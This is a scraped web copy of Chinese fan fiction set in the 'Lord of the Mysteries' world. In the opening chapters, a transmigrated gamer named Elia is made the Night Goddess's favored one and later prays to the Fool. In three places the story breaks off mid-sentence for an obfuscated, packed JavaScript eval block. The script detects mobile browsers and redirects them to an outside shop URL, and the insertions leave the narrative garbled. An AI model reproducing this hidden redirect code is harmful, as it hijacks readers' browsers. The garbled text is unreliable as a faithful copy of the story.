《[诡秘之主]好巧啊你也是愚者信徒?》
1. 苜蓿号的幽灵船客
“就是他吗?”
褐发灰眸,一身制服似的黑风衣的中年警官注视着玻璃后面那个盯着桌上的煤气灯一动不动的红发年轻人,向着身边人问道。
“对,他是这次苜蓿号惨案的幸存者之一,救下他时,我们并没有发现什么特殊之处,但是他告诉我们他失忆了。经过调查,他不在乘客和船员名单上,也没有任何其他的幸存者对他有印象。”引着他来到这里的警察无奈地摊手,叹了口气。
苜蓿号是一艘近期名声骤起的海船,历经海盗追逐、乘客自相残杀、风暴、迷航等多重劫难,生者十不存一时才终于抵达港口,这一系列事件也因其具有的传奇色彩而被反复报道甚至改编成戏剧。
“他为什么会在这里?我记得苜蓿号是在恩马特港上岸的。”名为邓恩的中年警官翻看着警察局提供的资料,低声询问。
“那边的人请仲裁者确认过了,他没有别的记忆也没有什么罪行,而在同时,他唯独对廷根表现出一点熟悉,并且表达了到这里来的想法,所以就被从恩马特港的警方调到我们这了。”
那警察的目光扫过玻璃后面的人,转头看向邓恩,“但是,我们想请你们值夜者来再看看他的梦境。”
“——我们怀疑他是个非凡者。”
……
上次见到煤气灯还是在博物馆。
再上上次应该是在某个仿维多利亚风格的景区,不过只是顶着煤气灯的外形的白炽灯。
伊莱亚·加拉哈德心平气和地想。
他还是第一次见到真正的能正常使用并且真的作为实际照明工具的煤气灯。
他能感受到来自玻璃那边的目光,但是他保持着那种近乎漠然的平静。
作为一个打着游戏就穿越到凶案现场,一晃神又进了警局被各种盘问调查,然后还换了地方准备接受新的调查的倒霉蛋,他实在没什么可表达的。
考虑到他几乎完全换了的脸和皮肤,以及显然是纯天然生长、从发根到发芯都变成了暗红色的及肩发,他没有怀疑这是什么隐藏了摄像头的真人秀。
没有什么真人秀能把一个人变成自己游戏账号的样子,更没有什么真人秀能让人一眨眼就突然强大的像是美国队长一样的速度和力量。
其实伊莱亚也不是他真正的名字而是他的账号名,为了融入这个西方世界的设定,他没有把自己真正的、不符合西方语法的名字告知别人。
值得庆幸的是,他的身体能自然而然理解和说出这里的语言,使得他能够和这个世界的人流畅的交流,不至于有什么沟通障碍。
他会的那几种语言可没有一种是在这个世界流行的。
凭借一路见到的事物和服装、饮食,伊莱亚大概能判断出这里类似于维多利亚时代,科技发展到了能熟练运用蒸汽机的程度,而他更熟悉的电力则还没有得到应用。
至于别的……他只能得出这个时代的船设施挺落后,很容易让人晕,警局条件挺一般之类的零碎结论。
他猜,他应该是穿进了游戏。
不过这陌生的、和记忆里的游戏设定差异相当大的一切让他不是很敢确定。
哦,对。伊莱亚的视线从煤气灯上挪开,看向刚刚在门外聊天,转眼就走进审讯室拉开椅子坐下的灰眸警官。
他的听力和视力也都进步了不少,不戴眼镜竟然比穿越之前戴眼镜的时候看的更清楚,整个审讯室里的一切在煤气灯的光芒里一览无余。
也算是这场莫名其妙的穿越里难得的好事吧。
面前的警官翻开手里的资料,声音低沉。
“你叫什么名字?”
“伊莱亚·加拉哈德。”伊莱亚早就看腻了屋里的东西,盯着眼前唯一称得上新鲜事物的男人上下端详,他发现这个警官脸上有皱纹,不过还是挺有气质的。
“你为什么会出现在苜蓿号上?”
“我睁开眼就在船上了。”伊莱亚听到玻璃那一边传来的原本一直都有的细碎人声消失了。
“你为什么要来廷根?”警官的声音平稳。
“眼熟。这可真是我难得眼熟的地名了——”坐在椅子上的年轻人拉长了声音,“警官,我得声明一下,这可不算我主动来的。我是被这样,”他举起手,示意了一下手上的手铐,“带过来的。”
“你是非凡者吗?”警官看了一眼手铐,语调没有什么波动。
“应该是吧?我不知道。你是非凡警察吧?你们专业机构有没有办法给我测一下我是什么序列又是序列几之类的?”
“你别这样看我啊,你不觉得你眼神还怪吓人的吗?人民警察可不能这么凶吧?”在灰眸警官越发深邃冷漠的目光和越发沉寂的气氛里,伊莱亚下意识的地后仰,没忍住吐槽出声。
他眨了眨眼,感觉有那么一瞬间,自己好像听到外面有人被呛到的声音?
“你真的没有其他记忆了吗?”随着声音一起涌来的是近乎沉郁的浓厚黑暗,在黑暗之中似乎还有诡异绮丽的红色月光。
“没有。我醒来就在船上了,大脑一片空白,睁开眼就是一堆尸体,惊吓还来不及呢,我都不知道发生了什么船就靠岸了,然后就一直在警局里被各种问话。”
审讯室里的声音沉寂了一瞬。
下一刻,一切的阴暗与幽深的气息全然褪去,如同月光下退却的海潮一般消失殆尽。
伊莱亚眼前的警官露出一丝低沉的微笑。
“感谢你的诚实。”他站起身看向进门的年轻警官,“克莱恩,结果怎么样?”
“队长,占卜显示他是囚犯途径的非凡者,序列七。”褐瞳年轻人收起手上的黄水晶灵摆,回应道,一边还给邓恩递了一张纸。
作为管理各类非凡者事务的值夜者,了解各类异端、异种和邪教徒是基本的职业素养。由于囚犯途径的非凡者中非常容易出现非凡罪犯,所以值夜者们也都对这一序列有一定的了解。
比如这个序列从序列九到序列七分别是囚犯、疯子、狼人,而这位不在名单上的船客先生,正是一个“狼人”。
克莱恩第一次听到这些名称时还忍不住吐槽这条序列的名字听起来就很不像好人,但在此刻,他并没有把繁多的思绪表露出来。
不过伊莱亚穿越之后那灵敏了无数倍的感觉在告诉他,这人的心率和呼吸都加快了一些,瞳孔也有点无意识的扩张,他在……惊讶?
听到的下一句话就让他明白了为什么克莱恩会是这个态度。
“廷根警察局刚刚收到了来自圣堂的电报,说女神降下神谕,伊莱亚·加拉哈德是祂的眷者。圣堂让我们先带他去教会暂时安置,剩下的会派人来负责。”
原本一直沉稳的邓恩也对着手中的电报流露出明显的意外,“女神的神谕吗?看来伊莱亚先生的身份确实很特殊。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334478|199221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>教会、女神、圣堂,结合廷根这个地名和这个时代的科技水平……伊莱亚眨了眨眼。
他突然有了一种很强的既视感。
他怀疑他确实是穿到了游戏里,只不过是游戏的几百年前。
“你们的说的女神,是不是黑夜女神?”
“是。你对此有记忆吗?”克莱恩看了眼邓恩确认队长对此的态度,然后回复伊莱亚。
伊莱亚一边回忆一边自然地装出茫然的样子,摇头。
他虽然有前世的记忆,但是他从游戏里知道的大部分知识都不是这个时代的一个普通的船客该知道的。至于这一世,他的脑海中是真的完全没有任何理论上“穿越者”该有的“原身”记忆。
他也是真的不知道为什么女神会让他当眷者。
伊莱亚在游戏里确实给自己刷出过「女神眷者」和「愚者眷者」的头衔,但是考虑到目前见到的东西的真实性,他并不觉得自己穿越的世界就是印象里那个数据组成的游戏,也并不觉得游戏里有的东西在穿越之后仍然会存在。
——而且比起女神,他其实更喜欢愚者,在游戏里也只加入了愚者教会。
可惜来的是值夜者,不是愚者教会的提灯者小队……当然女神也很好,感谢女神。伊莱亚在心底默念。
“没关系,你先跟我们走就行。”邓恩的表情从容而平静,“女神和值夜者会向警局为你担保。”
“对了,我是黑夜教会值夜者小队的队长,邓恩·史密斯。这是我的队员,克莱恩·莫雷蒂。”
“你不担心我刚刚在说谎?”
“我在梦境方面姑且有些经验。人在梦里不会说谎。”邓恩拿出钥匙,为伊莱亚解开手铐,“走吧。马车在外面。”
伊莱亚看着手铐从苍白的手腕上脱去,握了一下拳,在他的感觉里,这个手铐应该是困不住他的,甚至他的直觉告诉他,他身体里的力量可以轻松地把这块铁皮捏扁揉圆。
不过他没继续盯着手铐,站起身跟上了邓恩的步伐,终于离开这个他在两个警察局都呆了几天的房间。
三人先后向外走去,而走在最后的克莱恩看到这个神秘失忆的年轻人唇齿微动,似乎吐出了几个音节。
但是并没有发出声音。
他努力拼凑那个口型对应的发音,似乎是五个字?
这是什么?人名吗?他没有看清。
虽然知道队长把人拉进梦境里问过了,也知道人在梦境里不会说谎,但是作为神秘金手指的拥有者,克莱恩早就有过在队长展开的梦境里保持清醒并且回答出包装过的谎言的经历。
克莱恩陷入思索。
他并不觉得“幽灵船客”真的失忆了,也并不觉得伊莱亚说的全是真话,甚至于,考虑到这位新晋眷者在交谈中脱口而出的“人民警察”……
克莱恩合理怀疑,伊莱亚和他一样,也是个穿越者。
甚至还知道一些不可言说的东西。
但是刚踏入非凡者序列没多久便攒了一大堆秘密的占卜家没有说什么,只是安静的跟随着队长踏上回到他们的老家,即黑荆棘安保公司的马车。
伊莱亚跟着邓恩走完了保释的流程,第一次完全不带任何禁锢的走出警察局。
于是廷根七月的阳光裹着清新的空气向他涌来,仿佛在那一瞬间,陌生而熟悉的崭新世界由此铺开。
“欢迎来到廷根。”
2. 黑荆棘安保公司
廷根警察总局在金梧桐区,靠近市中心的位置,而值夜者的据点黑荆棘安保公司位于北区,在廷根市西北方向。两地之间距离不算很近,但好在坐马车还是比较快的。
伊莱亚坐在马车的一侧,邓恩和克莱恩并肩坐在他对面,没人说话,车内有种奇妙的安静。
其实坐马车对于曾经的伊莱亚而言也是相当新奇且遥远的事情,但是比起在来廷根的路上已经坐过的马车,还是非凡警察和莫名其妙获得的“女神眷者”头衔更让他感兴趣一点。
“你们是干什么的?值夜者是非凡者的专属警察吗?女神眷者又是什么?数量很多吗?”
在游戏里,神明的眷者称号都是定期完成活动限定任务就可以保持的,当然,同时拥有的数量有限制,一般只能有一个,不过在玩家加入了愚者教会的情况下,最多可以同时获得愚者眷者和另一个神明的眷者两个头衔。
对此,玩家主要看法是因为愚者比较仁慈,允许信徒信仰他神。
不过游戏归游戏,在真正有神明、有非凡能力的时代,神明的眷者显然不是什么简单的成就称号。
在这种并非审讯的场合,邓恩的态度与先前截然不同,声音沉静而柔和:“值夜者是黑夜女神教会下属的非凡者队伍,负责处理非凡事件,封印危险物品之类的事务,不过我们也有政府编制,在廷根警察厅特别行动部挂名。”
说到这里,他在胸口轻点了四下,做了个标准的“画红月”,这是黑夜信徒祈祷的仪式,“我并不清楚女神对眷者的定义,不过眷者数量很少,我所知道的只有教宗冕下。”
伊莱亚倒吸一口凉气。
他并不觉得一位神明会随便给一个普通人“眷者”的头衔,更不用说他现在只是一个序列七——还是很不讨喜的经常作为罪犯出现在教会中的囚犯途径。他也没有原身的记忆,甚至不知道穿越之前到底有没有原身这个人,怎么看都不像是能吸引神明注视的样子
总不会是因为女神也是个穿越者然后发现他的身份了吧?那可太神奇了,哈哈。伊莱亚差点被自己发散的思维逗笑。
我和神明当老乡?真的假的?
“祂为什么会选,呃,选我?”
“我不知道,圣堂派来的使者在路上了,过几天应该会到,到时候那位使者应该能为你解答问题。”灰眸的警官摇了摇头,面色不变。
“好吧。”伊莱亚试图运用自己脑子里并不算多的游戏里的非凡知识进行理解,然后飞快失败,于是靠在椅背上放弃思考。
作为一个在游戏中精通战斗的玩家,他可以背出不眠者序列的全序列主要技能,但是同时,作为一个把所有剧情和设定全部跳过的skip党,他对除了战斗相关的非凡常识保持着一个空白的大脑。
好在马车很快就抵达了目的地。
佐特兰街36号的位置有一个楼梯口,墙面上挂着竖直的招牌,用鲁恩语写着“黑荆棘安保公司”。
伊莱亚盯着那块招牌看了两眼,感觉这玩意有点眼熟,但是一时间找不出什么具体的印象。
可恶,为什么我是囚犯途径,光增强战斗力和偷鸡摸狗能力,不加强记忆和思维水平就算了还可以扣理智加战力……
早知道就选能唤醒记忆加强脑子的通识者了,这样就可以把那些从脑子里光滑流过的剧情和设定全部想起来,而不像现在这样一无所知了。
前方,邓恩和克莱恩已经轻车熟路地沿着楼梯往上走了,于是他也放弃寻找思绪,跟着踏进了房门。
进门是一个会客厅,摆着几张沙发、座椅和茶几,正对门的是一张桌子,桌后坐着一个正在看报纸,穿着衬衣和长裙的棕发女孩。
那女孩原本一副困意昏沉的样子,一看到进来的邓恩便整个人突然一激灵,下意识站了起来:“队长!克莱恩!”
她的目光很快从两人身上转向他们身后走进门的红发青年,“这位是?”
“伊莱亚·加拉哈德。”邓恩为她解答了疑问,“他是一位非凡者。”
“他也是非凡者?是有什么事情吗?”名为罗珊的女孩眼睛一下子睁大,仔细打量了一下伊莱亚,不过除了在心底感叹一句长的真好看之外,并没有感觉到他和普通人有什么特别神秘的不同之处。
“具体的情况我也不清楚,我们先进去了。”邓恩嗓音低沉,没有回答太多东西,带着朝罗珊笑了一下的克莱恩和不知思索着什么东西的伊莱亚走向旁边的房门。
这扇门的背后,是值夜者小队真正的据点——众人的办公室、休息室、武器和资料库以及最重要的查尼斯门,都由此而进。
伊莱亚忍不住好奇的打量这里的设施。他在玩游戏的时候也会到类似的地方,但是见到真实存在的官方非凡者据点还是第一次。
一边走,身边黑发的年轻值夜者一遍向他介绍这里各个房间的用途,队长和文职人员的办公室、会计室、休息室和娱乐室,以及有着通往地底的阶梯的房间
他跟着邓恩和克莱恩进入了右手边第三间房,正好对上了几个正围着桌子打牌的值夜者的目光。
几人一叠声的朝着邓恩和克莱恩打招呼,而伊莱亚的目光在那个长相最为出挑的家伙的脸上定格住了。
好眼熟。
真的非常、非常眼熟。
那是一个黑发绿眼,容貌英俊到显眼的年轻男人。要是他气质再严肃静谧一点、头发再长一点、带上红手套再换一身制式风衣的话,这不就是那位总在圣米切尔教堂发任务的主教吗?
虽然他过任务的时候很少看剧情,但是一个序列二级别、拥有自己的教堂的地上天使,还是长的特别帅气的高人气NPC,伊莱亚还是有印象的。
没记错的话……那位主教的名字是,伦纳德·米切尔?
“你认识我?”带着一种散漫气质宛如诗人一般的年轻帅哥愣了一下。下一瞬,他似乎听见了什么东西,露出更加惊讶的样子。
伊莱亚这才意识到自己好像把思考的内容说出口了。
他知道记忆里那些游戏、穿越相关的内容不能告诉这个世界的人,但是对于该表现出什么样的“人设”,他也完全没有想法。
毕竟他第一次穿越,不太熟练。
但是既然已经有神秘失忆非凡者的身份,又有来自神明的背书,那就索性顺其自然,当个“什么都不知道但是什么都眼熟”的倒霉失忆者吧。
于
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334479|199221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是伊莱亚对上那双明亮的绿眼,一脸诚恳地摊手:“我也不知道。”
他其实有种微妙的直觉,感觉此刻站在那里的人不止伦纳德,似乎有什么更强的、远比在场的人当中理论上的最强——也就是值夜者小队的队长,序列七的邓恩强的多的存在站在伦纳德身边。
但是他的眼睛和感知都在说那里明明只有伦纳德一个人。
可能是这人身上有什么秘密吧,毕竟是未来的天使,有什么金手指老爷爷或者秘籍空间之类的东西也不无可能。
红发的年轻人很流畅的接上了自己的前一句话:“我感觉你很眼熟,我肯定在哪里见过你。就像我感觉廷根很眼熟一样。”
“不过我失忆了,所以我也不知道我到底为什么会有这种感觉。”
听君一席话,如听一席话。站在一旁的克莱恩努力绷住表情,遏制住自己吐槽的欲望。
刚见到这人的时候他觉得这个“失忆”的非凡者肯定有什么秘密,但是现在的他感觉这家伙的表现也不像是很能藏住东西的人……甚至行为间有种莫名的喜感。
不,不能完全放松警惕。伊莱亚来历不明,却有着神明的眷顾,言行举止也莫名指向廷根这座无名的小城。明明以眷者的身份,就算想去首都贝克兰德或者黑夜教会的总部都会备受欢迎。
说不定给人留下这种不靠谱的迷茫失忆小伙的印象就是伊莱亚这样表现的目的。但他到底要干什么,还尚未明确。
克莱恩心念电转之间,邓恩已经把“虽然感觉伦纳德很眼熟但是什么都没想起来”的伊莱亚介绍给了值夜者的正式成员们,也简单介绍了值夜者平常的工作,甚至已经开始聊值夜者的薪资待遇了。
……什么啊,原来是想加入值夜者吗。
克莱恩松了一口气。
虽然伊莱亚“失忆”了,但是他的常识还在,还能正常和人交流相处,当然也能凭借自己序列七的实力和女神眷者的身份表达想要加入值夜者的愿望。
虽然还不知道非凡能力怎么用,也不知道眷者的身份从何而来,但是既然有这个条件可以拿来当招牌了,那不用白不用。
邓恩没拒绝,不过相当严谨地表示因为没有先例,所以不知道这种情况该怎么处理。毕竟在伊莱亚之前的眷者基本都是板上钉钉的黑夜教会高层,没加入教会甚至不是不眠者序列的女神眷者还是第一次出现。
“只要能加入就很好啦,不算正式成员也可以,主要是你们有什么非凡事件要处理的话,算我一个吧?”伊莱亚暗绿色的眼中流露出几分轻盈的笑意,好似在深潭暮林般的颜色里荡开粼粼波光。
邓恩点了点头,应下了这个请求。
而后,伊莱亚被同样接到了电报,所以从圣赛琳娜教堂(即廷根市黑夜教会总部)赶来的主教接走了,按主教先生的说法,教堂会为眷者阁下提供暂时的居所和生活所需,直到眷者不需要为止。
伊莱亚看着手里整整十张十镑面值的纸币,又看了看面前笑容慈和的老人,瞳孔地震。
他没记错的话,金镑价值很高,最大面值就是十镑,一镑的购买力大约相当于前世的一千元,那么这里的一百镑……
十万块??
3. 女神伟大无需多言
“这钱,真是给我的?”伊莱亚难以遏制自己的震惊。
他知道自己现在应该表现出一个毫无常识的失忆者的样子——当然他确实是既没有原身记忆也没有多少非凡知识——但是谁能面对金本位制前提下的一百镑毫无所动!
更不用说他穿越以来并没有为黑夜教会作出任何贡献,光顶着一个眷者名头,还什么都没开始做,他当然也没有无功受禄的想法。
天上掉的馅饼谁敢吃啊。
主教先生倒是态度平静,甚至更加慈祥温和了一些。
“眷者阁下,这是女神的恩赐,您无需为此担忧,女神自有祂的考量,您只需收下就好。”他笑的像是童话故事里的老爷爷,声音里都带着让人信任与安宁的魔力。
“除了这些钱之外,按照女神的神谕,我们会为您提供居所,教会附近就有空置的房子。哦,对了,圣堂那边新发来的电报说他们的库房里有囚犯途径晋升所需要的材料,也会为您带来一份。”
序列的晋升必须要喝魔药,而魔药的调配只有两种选择,一是用对应的非凡物品混合制作而成,二则是直接把另一个非凡者死亡后留下的特性拿来充当主材料。前者材料罕见且难以获取,价格极其高昂,而后者则大多需要杀人。
——事实上,魔药的获取途径的危险也是非凡相关的一切很容易显得危险疯狂而诡谲的原因之一。
不过伊莱亚所在的途径相比于其他途径而言,相当特殊。
囚犯途径的非凡者可以通过晋升逐步成为异种,而在某些地方,当然也有天生的不是由人类晋升而来的纯天然异种。
从序列七开始,每个序列的魔药主材料正是这个序列的非凡者或者异种的身体部分。比如晋升序列七“狼人”,主材料是狼人的獠牙,晋升序列六“活尸”的时候就需要活尸的心脏……
不过考虑到囚犯途径的非凡者普遍会被所有正神教会追杀,黑夜教堂保存着相关材料再正常不过。
伊莱亚来不及思考同序列非凡者在材料仓库而他在当神明眷者这种话的地狱程度,茫然地在越来越多的天降馅饼里努力保持镇定,跟着絮絮叨叨交代完了的主教一起在胸口画红月,在教堂正前方巨大的黑夜女神圣徽下默念女神的尊名,向祂祈祷。
他没想过会得到回应,毕竟这只是一次再普通不过的祈祷。
在这个时代,所有神的信徒都会日常祈祷,要是神明什么都听事事都回应,那这神当的可比007还高压忙碌。
然后伊莱亚就感觉眼前一黑,无尽的如同浪潮或者帷幔一般的黑色遮盖住他的视线和听力,教堂的肃穆褪去,取而代之的是更加漫无边际的空旷和更加无与伦比的宁静,仿佛万事万物都于此抵达了尽头和终点,一切都一切皆于此安眠。
下一瞬,他嗅到了花香。
他的眼前依然是一片黑暗,但是轻盈的花香和灵敏的感知为他勾勒出没能看见的一切。
他在一个花圃之中,一个巨大的,栽满了陌生的花朵的花圃,无边无际,似乎连卷过花丛的微风都带着那幽谧而独特的花香。
“这是深眠花,如果你更了解黑夜途径一点,就应该知道这是传说中“被女神所喜爱的花卉”。”
打破这宁静的是一道低低的女声,声音很好听,却带着一种奇异的氛围,那是更深更浓重的安宁,只是听到就快要把人拉入无尽的沉眠之中。
伊莱亚能模糊的感受到这声音是从身后传来的,但是他看不见任何东西,也没法转身直面声音的主人。
而他的直觉拉响了警报,仿佛身后不是什么声音很好听的陌生人,而是一个极其异常极其强大的危险存在。
不是那种非凡能力层面的强大,而是近乎概念性的,如同天笼罩着地,如同太阳与月亮高悬于天一般的统治性的高大宏伟,就好像那崇高无比的星空凝聚成人形,把宇宙的重量和恐怖尽数灌注在这里。
只是站在那里,就足以令人丧失一切反抗的心力和勇气,甚至遗忘一切的思考。
在他的背后。
好恐怖好恐怖好恐怖好强好强好强好强……
伊莱亚的头顶极快速地长出两只暗红色的三角形狼耳,又在钻出头发的下一刻因警觉与恐惧而侧伏,而露在外面的手和脸颊也飞快的长出暗色的坚硬短毛,指甲变得长而锐利,泛着诡异的光泽。
这是他穿越这几天以来第一次真正使用非凡能力——属于囚犯途径序列七“狼人”的狼人化!
作为极大增强身体素质和恢复力、战斗力、攻击力的序列,狼人的强度在同水平的各序列当中算得上名列前茅。
而此刻,伊莱亚也本能的用出自己最强的能力来抵抗这种恐怖的压力。
当然,他知道这样用处不会太大,因为狼人虽强,最多也就跨几个序列对敌,但他身后的那个不知名存在,没意外的话,是一位……
“我叫阿曼尼西斯,你也可以叫我黑夜女神。”那声音轻柔而静谧。
一位真正的神明。
黑夜女神收敛了身上自带的威压,伊莱亚终于松了一口气,也重新从狼人状态变回了人形。
“谢谢您的宽容。”他的脑子一片空白,近乎本能的按照游戏里无数次看到的接受女神眷顾时的文案进行回复。
女神的回应是一声轻笑。
“不用客气。”
然后伊莱亚准备继续说话的声音猛的僵住了。
他突然意识到,从刚刚女神自我介绍开始,到他的回复,用的都不是这个世界的语言。
而是英语。那个26个字母使用范围极广上学必须学的,英语。
是那门从小学到大,听过说过读过写过无数遍的已经快要刻进dna的语言。
哈哈,之前还在想女神怎么可能跟我是老乡,结果真的是啊。
神怎么可能会说英语呢你看这事闹得,肯定是我听错了吧。
“我知道你是穿越的。”那个轻柔缥缈的声音继续穿进伊莱亚的耳朵,却如同击穿一切思绪的雷霆,“我也并非此世之人。”
女神没等伊莱亚应声,只是连贯地说了下去:“你可以随意使用女神眷者的身份,只要不伤害教会的声誉和利益就行,剩下的东西,你有什么需要的话都可以和教会说。”
“只要力所能及,他们都会为你提供帮助。”
“……为什么?为什么这样帮我?我有什么值得帮忙值得利用之处吗?”暗红发色的青年眼神依旧空洞而看不见任何东西,声音中却带上了难以言说的紧绷。
他清楚自己绝对不是一个会虔诚的信仰神明的家伙,就算神明真正存在也一样。
他会对身边真实的人报以多种多样的感情,但他绝对不会真正的去信仰任何虚无而崇高的存在,更何况他知道,神明也不过是走到序列顶端,丧失人类情感,只余神性的“人”罢了。
伊莱亚无法对已经没有人类情感的家伙报以信任。
“交易罢了。你现在的序列太低了,我们的交易你听了就会失控。不需要为此感到负担,也不用被身份所
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334480|199221||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
束缚,你在很久以前就已经支付了超过这些的东西了。”他感到女神的手轻飘飘地拂过他的脸侧,“你只要按你的心意自由行事就好,我相信你的道德和正直。”
最后一个字眼消弭在花香里,须臾之间眼前的一切亮起,伊莱亚的眼中倒映着黑夜教堂的灯火。
他还是站在那里,在空荡的教堂之中,在圣徽之前,似乎从未离开,似乎刚刚的一切都是一场幻梦。
伊莱亚突然感知到自己的肺的存在,呼吸从停止到用力,再到喘着粗气疯狂的咳嗽,好似要把刚刚堆积起来的所有恐惧、压力、迷茫、困惑全部抛却。
“怎么了吗?”主教先生的面容依然慈和,只是带上了些许担忧。
“没什么,”伊莱亚狠狠地咳了几声,断断续续地回复,“我,我刚刚听到女神的声音了,太过激动没控制住。”
他调理好自己的气息,熟练地在胸口点四下,画了个红月,脸上扬起一个微笑,“赞美女神。”
他要保持好自己“女神眷者”的身份。虽然不知道他曾为此付出什么,但是既然不是真正的无端的馈赠,那么他也可以坦然面对,并且认真装的像个虔信徒。
主教看他没问题了,点点头,也重复了一遍赞美,“相信很神谕会给您带来答案。”
——
黑夜教会在周围有不少房产,给神职人员居住,也有一些拿来出租和给有需求的信徒短居。
伊莱亚抱着生活用品,跟着工作人员进了整理好的房子,关上门,没仔细打量房屋装潢,只是把自己往沙发上一扔,长出了一口气。
女神、眷者、游戏、异种、苜蓿号、黑荆棘……一大堆事情叠在一起,带来无尽的疲惫和焦虑、茫然。
他不知道自己究竟是什么,为什么会穿越,不知道女神一上来就坦白身份的意图为何,更不知道那个“交易”的人到底是原身还是被抹去记忆的自己……
非凡世界好麻烦。
要是能不思考就好了。
深绿色的眼睛直直地盯着木质的天花板吊顶,任由纷乱的思绪漫过脑海。
好半晌,他猛的坐起。
游戏里给过他眷顾的女神在这个世界也知道他的身份并且给他眷者身份的话,那在游戏里对他更好的愚者……
不会也清楚这些东西吧?
伊莱亚夺门而出,从街上面包店买了一个白面包,又去饭店打包了一份费内波特面,一份海鲜饭和一个迪西馅饼。
然后他在商店买了蜡烛,回到房里,翻出了主教塞给他的一堆仪式材料里的小刀和精油。
“四根蜡烛放四角,浇上精油,然后一边放一份主食……”这是伊莱亚极其稀薄的神秘学知识之中难得被记住的仪式。
虽然玩家们更多称其为“愚者快递”,但是实质上,这是一种必然指向愚者,可以引起愚者兴趣并取悦神明的仪式。
他用银制小刀画出隔绝干扰灵性之墙,然后跪在被布置成祭坛的房间中央,双手十指交握成拳,头颅低垂,娴熟得如同曾经做过无数次祈祷和祭祀那样——
“不属于这个时代的愚者啊;”
“你是灰雾之上的神秘主宰;”
“你是执掌好运的黄黑之王。”
“我祈求您的帮助。”
“我祈求您的眷顾。”
水仙花街2号,莫雷蒂宅。
克莱恩·莫雷蒂吃饭的动作突然停住了。
他的灵性受到触动,他听到了不知何处而来的虚幻的呼喊。
4. 好巧啊都是老乡
作为一个正在学习各种非凡知识不停充实自己的新晋非凡者,克莱恩对于仪式魔法也有了许多了解。
这意味着,他知道自己听到的那段话是用于常用于祭祀的赫密斯语,也知道这样的祈祷格式大多指向神明。
他飞快吃完剩下的食物,匆匆向兄长和妹妹说了一声便飞快跑进了自己的房间,逆走四步登上灰雾。
他目前只有序列九,灵性不算非常强大,暂时听不清那祈祷具体的内容。只有在能够增强实力和灵性,剔除干扰的灰雾之上。才能尽可能搞清楚这段咒文里到底说了什么。
浩瀚无垠的灰雾之中是恢宏高大的神殿,神殿中央穹顶之下,是青铜制成的雕花长桌和二十二把高背椅。
克莱恩娴熟的坐在上首,凝神看向新亮起的深红色如星辰一般闪烁着的光点。
上次他看到这样的光点的时候不小心碰到了,然后就把两个人拉上来灰雾,顺势装成复苏的古神,建立了塔罗会。
这次他小心多了,端坐在高背椅上,认真的听着光点里那个虔诚祈祷的人影的言语。
他现在终于能听清这人说的话了,但是这并没有让他很惊喜,因为他突然意识到,这段咒文的每一句话,都在向他靠拢!
“不属于这个时代的愚者”,他并非这个时代的人,而他的自称正是愚者;
“灰雾之上的神秘主宰”,这片灰雾上,他就是唯一的主人;
“执掌好运的黄黑之王”,这句话,他第一下没有反应过来,直到突然灵光一闪——这不就是“福生玄黄天尊”的翻译?
福生玄黄天尊,就是克莱恩登上灰雾前必须念诵的咒文!
很难说想明白咒文含义的那一刻克莱恩有多震撼。他确实有准备研究一段能指向自己的咒文来让塔罗会中的两个成员试试是否有用,但是这不代表他能接受有人突然说出了能指向他的祈祷词!
尤其是,在他还没有想出具体咒文的内容,在愚者这个身份只认识了“倒吊人”先生和“正义”小姐的事实中,怎么可能有人能找到指向“愚者”的三段式描述?
深红色星辰中波浪般晃动的光影里,能看到虔诚垂首,脊背却笔直的身形。
角落里,还能看到几盘熟悉的主食。
……这暗红色的头发有点眼熟。
克莱恩想。
挺有辨识度,白天刚刚见过。
他当时还吐槽这人名字和言行都有点像穿越者,甚至可能藏了不少秘密,现在眼看着就要露出来一个了。
一个没有身份的、失忆的、甚至不是高序列的非凡者,怎么会知道一位刚刚出现于世上的“神明”?
克莱恩深吸一口气,伸出手指,轻点了一下那个深红色的“星辰”,与其建构了简单的联系。
深红色的光芒爆裂开来,焕发出煌煌光芒,如同骤燃的焰火,又在弥散的灰雾中流淌凝聚成人形。
暗红色的及肩直发,深绿的眼眸,轮廓分明的英俊面孔,一身崭新的教会神职者制服,正是白天刚出警局就喜提女神眷者身份的伊莱亚·加拉哈德。
——
在察觉到环境变了的下一瞬,伊莱亚近乎本能般的低下头,看向地面上如云朵般卷舒飘散的灰雾,没有直视前方座椅上的神明。
“赞美您,愚者先生。”
他熟练地以手按胸,微微鞠躬。
这是愚者教会的基本礼节,也是每个教会的成员最为熟练的姿势。这个动作在愚者教会中的地位类似于黑夜教会的“画红月”。
他有点紧张,但是姿态还算平静。
